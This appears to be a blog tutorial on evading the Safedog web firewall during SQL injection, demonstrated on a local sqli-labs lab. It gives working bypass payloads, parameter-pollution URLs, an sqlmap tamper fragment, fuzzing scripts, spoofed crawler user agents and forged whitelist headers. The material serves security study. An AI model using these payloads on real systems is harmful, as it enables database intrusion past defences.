WAF bypass - SQL injection

WAF bypass - SQL injection


Conduct operations on data, such as case, encryption and decryption, encoding and decoding, so as to make the interception invalid
For example, take sqlilabs-less-2 as an example (assuming that the security dog has been set to prohibit querying the database):
At this point, when you enter the following statement, the injection will be blocked

id=-1 union select 1,database(),3#

First, let's roughly analyze why it was intercepted?
In the security dog interception method, programming similar to regular expression is adopted. When the data is matched to database (), it is automatically filtered. So we just need to change the database():
"/ * * /" is mixed in the following statements, so the security dog cannot match the database
The most basic interception principle:

id=-1 union select 1,database/**/(),3#

Intercept 2. If the security dog enables the interception of SQL union injection

Joint injection bypass


As long as the key field containing union select in the url is used, it will be intercepted
If we write the injection in the following format, we can bypass it:

union #a
select 1,2,3#            #The sign indicates that the following contents are commented out

It can be seen from the conversion tool that:% 23 is the # number and% 0a is the newline character. Therefore, the bypass is written as follows:

http://192.168.56.104/sqlilbas/Less-2/?id=-1%20union%20%23a%0aselect 1,2,3#

Parameter pollution


When the user passes parameters through id =, the parameter obtained by the PHP/Apache server by default is Last, that is, the Last value. For example, when multiple parameters are entered:

http://192.168.56.104/sqlilbas/Less-2/?id=1&id=2

If you use PHP/Apache, the final value of ID passed in is 2 (id=1 is ignored)
For this feature, as long as we know the server of the target website, we can inject parameter pollution:

http://192.168.56.104/sqlilbas/Less-2/?id=1 /**&id=-1%20union%20select%201,2,3%23*/
http://192.168.56.104/sqlilbas/Less-2/?id=1%20/**&id=-1%20union%20select%201,version(),3--+*/

Successfully bypassed:

Principle:
Because the security dog can match all the data here (the security dog thinks that the content in / * * / is annotated and not executed),? Id = 1 / * * & id=-1 union select 1,2,3# * /, but the PHP/Apache server only matches the following values (id=-1 union select 1,2,3# * /)
So the statements that are actually executed are:

select * from users where id=-1 union select 1,2,3#*/

SQL map uses parameter pollution injection

We can customize an sqlmap temper named rdog.py. The format can refer to other tmper as templates. The following example only writes two payload s. You can write more as needed

#%23a%0aunion/*!44575select*/1,2,3
        payload = payload.replace('union','%23a%0aunion')
        payload = payload.replace('select','/*!44575select*/')
        payload = payload.replace('%20','%23a%0a')
        payload = payload.replace('%20','%23a%0a')
        payload = payload.replace(' ','%23a%0a')
        payload = payload.replace('database()','database%23a%0a()')

We can run with the script at this time
Where -- tamper is to set a py script, - proxy is to set http proxy (it is convenient for burpsuite packet capture analysis and can not be written), and -- random agent is a tool to bypass the security dog to intercept sqlmap injection

python sqlmap.py -u "192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8888 --random-agent

Related parameter pollution

/*!50001 select * from test */;

Here 50001 means that the statement will be executed only if the database is above version 5.00.01
At the same time, it can be combined with union select bypass, for example:

union all /*!50001 select * from test */;

(all is also an interference, anti matching)
This is not a complete union select, so it is also possible to bypass the security dog

Fuzzy run parameter pollution dictionary

import requests
import time

url='http://'
for sqlin in open('unionselect.txt'):
    urls=urls+sqlin
    result=requests.get(urls).text
    if(result.find('safedog')==-1):
        print(sqlin)
    time.sleep(1)

Another way of thinking (the code may be wrong, just for thinking)

import requests
url='http://192.168.56.104/sqlilbas/Less-2/?id=-1'
a={'%23x%0aunion','.0union','%09union','%0aunion','%0bunion','%0cunion','%0dunion','%20union','%a0union'}
b='/*!'
c='select*/'
d='1,2,3'

for i in range(44500,44600):
    for aa in a:
        urls=url+aa+b+str(i)+c+d
        #fp=open('bypasstestsqlin.txt','a+')
        #fp.write(urls+'\n')

        result=requests.get(urls).text
        print(result)
        if(result.find('safedog')==-1):
            print(urls)

Supplement:
/*! select * from tables limit 0,1 * /; is equivalent to select * from tables limit 0,1

sqlmap access is blocked too fast

Method 1: crawler white list

First, baidu find one Search engine crawler http fingerprint header
For example, baidu crawler:
Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8;baidu Transcoder) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)
Then modify the user agent of sqlmap: Related tutorials
Here we use a custom user agent

python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://192.168.56.217:8888 --user-agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8;baidu Transcoder) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)" --tables

Method 2: delayed injection

Parameters:
–delay
–safe-freq

python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tables --delay 1
python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tables --safe-freq 3

Method 3: agent pool

...

Supplementary problem (parameters intercepted due to too fast access to custom sqlmap):

If a waf tool detects not only user agent, but also headers that are not supported by sqlmap, such as the contents of cache control, how to solve it?

1. Use the intruder of burpsuite, then change it to * on the positions page, add a variable, and then set the variable dictionary in payloads for continuous replacement (this method needs to replace each packet, which is quite troublesome and not recommended)

2. You can put the post data into a txt (modify the value to be detected).

Reuse: - r parameter

python sqlmap.py -r 3.txt --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tables

3. Write your own script for transfer, This article Finally, how to transfer is mentioned. Similarly, the user agent parameter can also be written in the transfer

Deep WAF bypass:

Method 1: white list bypass

1. Forge header header in packet to bypass waf through IP whitelist
x-forwarded-for
x-remote-ip
x-originating-ip
x-remote-addr
x-real-ip

Mode 2: static resources

For specific resource suffix requests, txt files are written in. Common static files (. js.jpg.swf.css, etc.) are similar to the white list mechanism. waf does not detect such static file suffix requests for efficiency

less-2/index.php/x.txt?id=1 and 1=1
less-2/index.php/x.js?id=1 and 1=1

Note: Aspx/php only recognizes the front. aspx/.php, but not the back

Method 3: url white list


Some websites may add such whitelists because operations performed in some files may be intercepted by mistake. You can try injection for this file

Method 4: crawler white list

If you visit the website too fast, you will be blocked
But some websites operate with crawlers, such as Baidu. Generally speaking, each website will put Baidu's crawlers on the white list.
We can use the user agent in the back of the head to forge Baidu spider

Tags: Database SQL Web Security

Posted on Tue, 09 Nov 2021 18:16:00 -0500 by Bryan Ando